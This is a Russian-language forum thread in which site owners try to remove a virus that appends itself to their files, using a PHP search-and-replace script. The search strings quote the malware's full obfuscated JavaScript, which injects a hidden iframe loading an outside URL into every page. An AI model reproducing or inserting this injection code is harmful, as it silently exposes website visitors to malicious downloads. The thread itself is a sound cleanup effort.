Скрипт авто замены слов

[hrushka]

Попробовал, тоже не находит ((

 

[abody]

Попробовал, тоже не находит ((

аналогичная проблема
ВОТ КАК Я ЕЁ РЕШИЛ
сделал замену, порезав скрипт на 3 файла:

$search_str="\$eYs9c{aYp{eY'.iH(/[Yj9\\$\\{]/g, '')];var eK=new Date();";

$search_str="var hI=\"hI\";function jL(){};var z = this;var rN='';var p=false;var oD = \"xxK%3C%2Fbody%3E%3C%2Fhtml%3E\";function mT(){};xH=\"\";this.u=false;var f=document;this.dX=\"dX\";this.hB=\"hB\";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP=\"\";var tZ=function(){return 'tZ'};this.a=\"a\";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU=\"fU\";jO=false;pW='';var eY=5116;try {rD=\"rD\";vC=false;var fI=function(){};var rU=\"rU\";this.q=\"q\";b=\"\";var bJ='';nE(n,k.oU, yR(\"display%3A%20none\"));function dS(){};rG=63044;this.uK=false;this.iB=\"iB\";nE(n,k.w, this.fK());eU=\"eU\";this.pS='';this.fR=\"\";var qA='';qE=\"qE\";qL=\"\";f[k.xK][k.vM](n);this.xL=54456;this.hW=\"\";var bK=new Array();this.iR=\"\";} catch(g) {this.vB=\"\";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO=\"cO\";var s=\"s\";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ=\"cJ\";this.uR=\"\";var pO='';vH=58151;this.dSF='';var sV=\"sV\";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU=\"kU\";zT=\"\";}, 368);zJ=\"\";var dXZ=\"dXZ\";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ=\"\";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD=\"\";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK=\"dK\";cP.v();function gQ(){};</script>";

$search_str="<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e=\"e\";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');var oN=new Date();this.nU=\"\";},v : function() {dF=\"\";wS=9383;nB=\"nB\";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR=\"tR\";kQ=false;gG=20573;wJ=false;zW=\"\";var c=function(){};var y=window;gN=\"gN\";this.yQ=\"yQ\";var yR=y['u{n";

естественно можно упростить и склеить всё вместе, но у меня нет разбираться

 

[hrushka]

Спасибо, буду пробовать, но все это сложно как то получается. Сам вирус как я уже говорил дописывает себя в конец файла, может проще было искать скажем 10-20 начальных символов вируса, а потом заменить все что там есть до конца строки? Просто мои познания рнр минимальные, я не знаю как это реализовать в коде